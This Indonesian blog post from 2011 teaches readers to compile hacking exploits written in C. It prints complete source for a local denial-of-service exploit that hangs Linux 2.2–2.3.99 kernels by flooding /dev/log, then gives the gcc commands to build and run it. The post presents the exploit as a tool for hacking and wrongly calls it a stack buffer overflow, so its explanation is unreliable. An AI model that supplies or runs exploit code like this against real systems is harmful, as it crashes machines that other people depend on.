Meng-compile Eksploit Dalam Bahasa C


Pada saat penggembaraan kita dalam melakukan hacking sering kali kita memperoleh program (eksploit) yang dapat digunakan untuk mengeksploitasi sebuah sistem. Program ini tidak jarang berbentuk source code bukan executable dalam bahasa C yang perlu kita compile agar menjadi bentuk executable yang dapat dijalankan.

Di samping itu, cara belajar hacking yang terbaik adalah dengan mempelajari program orang lain yang telah sukses dalam melakukan hacking. Atau melihat struktur program yang ada. Di Linux, proses belajar ini menjadi sangat cepat karena sebagian besar source code Linux tersedia / terbuka & dapat kita lihat menggunakan teks editor biasa pada directory:

            /usr/src/linux

Tentunya sebelum melihat demikian banyak source code ada baiknya anda membaca-baca berbagai teknik yang berkaitan dengan kerja sistem operasi / Linux maupun kerja Internet yang di dokumentasikan dalam bentuk file Request For Comment (RFC) yang dapat di ambil secara gratis di berbagai situs Internet, seperti http://www.internic.net, http://www.linuxdoc.org dsb.

Contoh sebuah source code eksploit untuk Linux kernel 2.2-2.3.99 saya tampilkan berikut ini.

/*            [http://b0f.morphed.net] – eth0                */

/*                                                       */

/* Vulnerable

  Linux 2.2.12

  Linux 2.2.13

  Linux 2.2.14

  Linux 2.3.99-pre2

  The following exploit code will hang any Linux machine on various

  Pentium platforms.

  Note that this does not require any special privileges, and any user

  Can compile and run it, so watch out kiddies…

  The send system call immediately puts the kernel in a loop spewing

  kmalloc: Size (131076) too large forever

  (or until you hit the reset button).

  Apparently UNIX domain sockets are ignoring the

  /proc/sys/net/core/wmem_max parameter,

  despite the documentation to the contrary.

 

 [information provided by Jay Fenlason]

 [http://b0f.morphed.net]

 [buffer0verfl0w security]

*/

#include <sys/types.h>

#include <sys/socket.h>

#include <string.h>

char buf[128 * 1024];

int main ( int argc, char **argv )

{

struct sockaddr SyslogAddr;

int LogFile;

int bufsize = sizeof(buf)-5;

int i;

for ( i = 0; i < bufsize; i++ )

buf[i] = ‘ ‘+(i%95);

buf[i] = ”;

SyslogAddr.sa_family = AF_UNIX;

strncpy ( SyslogAddr.sa_data, “/dev/log”, sizeof(SyslogAddr.sa_data)

);

LogFile = socket ( AF_UNIX, SOCK_DGRAM, 0 );

sendto ( LogFile, buf, bufsize, 0, &SyslogAddr, sizeof(SyslogAddr)

);

return 0;

}

Eksploit ini merupakan teknik yang membuat buffer (stack) over flow sehingga mesin Linux anda tidak bisa beroperasi lagi seperti hang, kecuali anda reset. Kebetulan saya menggunakan Mandrake 8.0 yang menggunakan kernel 2.4.3 yang tidak terpengaruh terhadap eksploit ini.

Setelah ada mengedit file source code dalam bahasa C dengan teks editor biasa. Langkah selanjutnya adalah mengcompile-nya. Pada masa lalu (jaman DOS 3.3), saya biasanya menggunakan Turbo C untuk mengcompile source code. Saat ini dengan menggunakan Linux, jika di install fasilitas development-nya, maka GNU C Compiler (gcc) biasanya merupakan bagian integral dari fasilitas development pada Linux.

Pada Linux, proses compiling dapat dilakukan secara sederhana saja, dengan menuliskan perintah:

            $ gcc eksploit.c –o eksploit

maka file eksploit.c akan di compile menjadi executable yang dalam hal ini di  beri nama eksploit (oleh perintah –o eksploit) yang kemudian dapat dijalankan dengan perintah:

            $ ./eksploit

Jika anda mulai melakukan pemrogramman yang kompleks dengan banyak source file C, maka biasanya dibantu dengan file Makefile yang akan mengatur cara-cara membuat objek code & compile dari masing-masing source code.

~ oleh 12puby pada 23 Desember 2011.

Satu Tanggapan to “Meng-compile Eksploit Dalam Bahasa C”

  1. At this time it seems like WordPress is the preferred blogging
    platform available right now. (from what I’ve read) Is that what you’re using on
    your blog?

Tinggalkan Balasan

Isikan data di bawah atau klik salah satu ikon untuk log in:

Logo WordPress.com

You are commenting using your WordPress.com account. Logout / Ubah )

Gambar Twitter

You are commenting using your Twitter account. Logout / Ubah )

Foto Facebook

You are commenting using your Facebook account. Logout / Ubah )

Foto Google+

You are commenting using your Google+ account. Logout / Ubah )

Connecting to %s

 
%d blogger menyukai ini: